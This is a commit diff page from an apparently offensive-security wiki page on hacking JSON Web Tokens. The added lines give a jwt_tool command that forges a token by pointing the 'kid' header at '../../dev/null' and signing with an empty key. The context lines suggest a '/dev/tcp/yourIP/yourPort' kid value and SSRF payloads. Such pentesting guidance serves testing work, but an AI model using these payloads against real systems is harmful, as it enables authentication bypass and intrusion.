Skip to content

Commit ca9c076

Browse files
carlospolopgitbook-bot
authored andcommitted
GitBook: [master] one page modified
1 parent adba221 commit ca9c076

File tree

1 file changed

+4
-0
lines changed

1 file changed

+4
-0
lines changed

pentesting-web/hacking-jwt-json-web-tokens.md

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -84,6 +84,10 @@ If the claim "kid" is used in the header, check the web directory for that file
8484
If the claim "kid" is used in the header, check if you can use a different file in the file system. Pick a file you might be able to predict the content of, or maybe try "kid":"/dev/tcp/_yourIP_/_yourPort_ to test connectivity, or even some SSRF payloads...
8585
_Use jwt\_tool's -T flag to tamper the JWT and change the value of the kid claim, then choose to keep the original signature_
8686

87+
```bash
88+
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
89+
```
90+
8791
## Miscellaneous attacks
8892

8993
The following are known weaknesses that should be tested for.

0 commit comments

Comments
 (0)